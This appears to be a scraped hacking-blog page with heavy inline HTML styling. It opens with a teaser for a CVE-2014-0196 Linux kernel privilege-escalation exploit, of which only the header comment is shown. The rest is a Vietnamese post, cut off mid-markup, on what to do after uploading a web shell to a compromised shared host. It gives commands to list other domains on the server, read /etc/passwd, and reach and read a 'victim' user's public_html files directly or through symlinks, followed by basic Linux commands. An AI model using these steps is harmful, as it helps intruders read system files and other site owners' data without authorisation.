Linux kernel 3.14-rc1 <= 3.15-rc4 - Raw Mode PTY Local Echo Race Condition (x64) Local Privilege Escalation

<div class="line number1 index0 alt2" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;"> <code class="text plain" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">/*</code></div> <div class="line number2 index1 alt1" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;"> <code class="text spaces" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"> </code><code class="text plain" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">* CVE-2014-0196: Linux kernel <= v3.15-rc4: raw mode PTY local echo race</code></div> <div class="line number3 index2 alt2" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;"> <code class="text spaces" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"> </code><code class="text plain" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">* condition</code></div> <div class="line number4 index3 alt1" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;"> <code class="text spaces" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"> </code><code class="text plain" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">*</code></div> <div class="line number5 index4 alt2" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;"> <code class="text spaces" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"> </code><code class="text plain" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">* Slightly-less-than-POC privilege escalation exploit</code></div> <div class="line number6 index5 alt1" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;"> <code class="text spaces" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"> </code><code class="text plain" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">* For kernels >= v3.14-rc1</code></div> <div class="line number7 index6 alt2" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;"> <code class="text spaces" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"> </code><code class="text plain" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">*</code></div> <div class="line number8 index7 alt1" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;"> <code class="text spaces" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"> </code><code class="text plain" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">* Matthew Daley <mattd@bugfuzz.com></code></div> <div class="line number9 index8 alt2" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;"> <code class="text spaces" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"> </code><code class="text plain" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">*</code></div> <div class="line number10 index9 alt1" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;"> <code class="text spaces" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"> </code></div>

Linux kernel 3.14-rc1 <= 3.15-rc4 - Raw Mode PTY Local Echo Race Condition (x64) Local Privilege Escalation

/*   * CVE-2014-0196: Linux kernel <= v3.15-rc4: raw mode PTY local echo race   * condition   *   * Slightly-less-than-POC privi...

Read more »

Một số lệnh cơ bản khi upshell

<span class="Apple-style-span" style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 22px;">Thấy anh em ngơ ngác k biết làm gì khi có trong tay 1 con shell nên t nói sơ sơ cho ae đỡ bỡ ngỡ</span><br style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 22px;">Nào! Bắt đầu:</span><br style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 22px;">1) Xem list domain trên cùng sever</span><br style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; word-wrap: break-word;" /><b style="font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px;"><span class="Apple-style-span" style="background-color: white; color: #222222; font-size: 14px; line-height: 22px;">ls -la /etc/valiases</span><br style="background-color: white; color: #222222; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-size: 14px; line-height: 22px;">cd/etc/vdomainaliases;ls-lia</span></b><br style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 22px;">Trường hợp đặc biệt khi </span><br style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 22px;">không thể xem user nằm </span><br style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 22px;">cùng host thì ta thêm &&</span><br style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 22px;">vào</span><br style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; word-wrap: break-word;" /><b style="font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px;"><span class="Apple-style-span" style="background-color: white; color: #222222; font-size: 14px; line-height: 22px;">cd/etc/vdomainaliases&&</span><br style="background-color: white; color: #222222; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-size: 14px; line-height: 22px;">ls-lia</span></b><br style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 22px;">2)Xem tên user</span><br style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 22px;"><b>cat/etc/passwd/</b></span><br style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 22px;">hoặc</span><br style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 22px;"><b>less/etc/passwd/</b></span><br style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 22px;">3)Local sang victim</span><br style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; word-wrap: break-word;" /><b style="font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px;"><span class="Apple-style-span" style="background-color: white; color: #222222; font-size: 14px; line-height: 22px;">dir home/tênusercần</span><br style="background-color: white; color: #222222; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-size: 14px; line-height: 22px;">local/public_html</span></b><br style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 22px;">4)Xem nội dung file</span><br style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; word-wrap: break-word;" /><b style="font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px;"><span class="Apple-style-span" style="background-color: white; color: #222222; font-size: 14px; line-height: 22px;">cat/home/tênuser cần</span><br style="background-color: white; color: #222222; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-size: 14px; line-height: 22px;">local/public_html/</span><br style="background-color: white; color: #222222; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-size: 14px; line-height: 22px;">index.php</span></b><br style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 22px;">or </span><br style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; word-wrap: break-word;" /><b style="font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px;"><span class="Apple-style-span" style="background-color: white; color: #222222; font-size: 14px; line-height: 22px;">ln -s/home/tên usercần</span><br style="background-color: white; color: #222222; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-size: 14px; line-height: 22px;">local/public_html</span></b><br style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 22px;">Còn nếu không dùng đc các lệnh trên~>host bị dis 1 số hàm</span><br style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 22px;">Bonus 1 số lệnh shell trong linux</span><br style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; word-wrap: break-word;" /><b style="font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px;"><span class="Apple-style-span" style="background-color: white; color: #222222; font-size: 14px; line-height: 22px;">- pwd: đưa ra ngoài màn</span><br style="background-color: white; color: #222222; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-size: 14px; line-height: 22px;">hình thư mục đang hoạt</span><br style="background-color: white; color: #222222; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-size: 14px; line-height: 22px;">động (ví dụ: /etc/ssh).</span></b><br style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; word-wrap: break-word;" /><b style="font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px;"><span class="Apple-style-span" style="background-color: white; color: #222222; font-size: 14px; line-height: 22px;">- cd: thay đổi thư mục (ví </span><br style="background-color: white; color: #222222; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-size: 14px; line-height: 22px;">dụ: cd .. – ra một cấp thư </span><br style="background-color: white; color: #222222; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-size: 14px; line-height: 22px;">mục hiện tại; cd vidu – vào thư mục /vidu).</span><br style="background-color: white; color: #222222; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-size: 14px; line-height: 22px;">- ls: đưa ra danh sách nội </span><br style="background-color: white; color: #222222; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-size: 14px; line-height: 22px;">dung thư mục.</span><br style="background-color: white; color: #222222; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-size: 14px; line-height: 22px;">- mkdir: tạo thư mục mới</span><br style="background-color: white; color: #222222; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-size: 14px; line-height: 22px;">(mkdir tên_thumuc).</span><br style="background-color: white; color: #222222; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-size: 14px; line-height: 22px;">- touch: tạo file mới (touch ten_file).</span><br style="background-color: white; color: #222222; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-size: 14px; line-height: 22px;">- rmdir: bỏ một thư mục</span><br style="background-color: white; color: #222222; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-size: 14px; line-height: 22px;">(rmdir ten_thumuc).</span><br style="background-color: white; color: #222222; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-size: 14px; line-height: 22px;">- cp: copy file hoặc thư </span><br style="background-color: white; color: #222222; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-size: 14px; line-height: 22px;">mục (cp file_nguồn</span><br style="background-color: white; color: #222222; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-size: 14px; line-height: 22px;">file_đích). </span><br style="background-color: white; color: #222222; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-size: 14px; line-height: 22px;">- mv: di chuyển file hoặc </span><br style="background-color: white; color: #222222; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-size: 14px; line-height: 22px;">thư mục; cũng được dùng </span><br style="background-color: white; color: #222222; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-size: 14px; line-height: 22px;">để đặt lại tên file hoặc thư </span><br style="background-color: white; color: #222222; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-size: 14px; line-height: 22px;">mục (mv vị_trí_cũ</span><br style="background-color: white; color: #222222; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-size: 14px; line-height: 22px;">vị_trí_mới hoặc mv tên_cũ</span><br style="background-color: white; color: #222222; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-size: 14px; line-height: 22px;">tên_mới). </span><br style="background-color: white; color: #222222; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-size: 14px; line-height: 22px;">- rm: loại bỏ file (rm</span><br style="background-color: white; color: #222222; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-size: 14px; line-height: 22px;">tên_file).</span><br style="background-color: white; color: #222222; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-size: 14px; line-height: 22px;">Để tìm kiếm file, bạn có </span><br style="background-color: white; color: #222222; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-size: 14px; 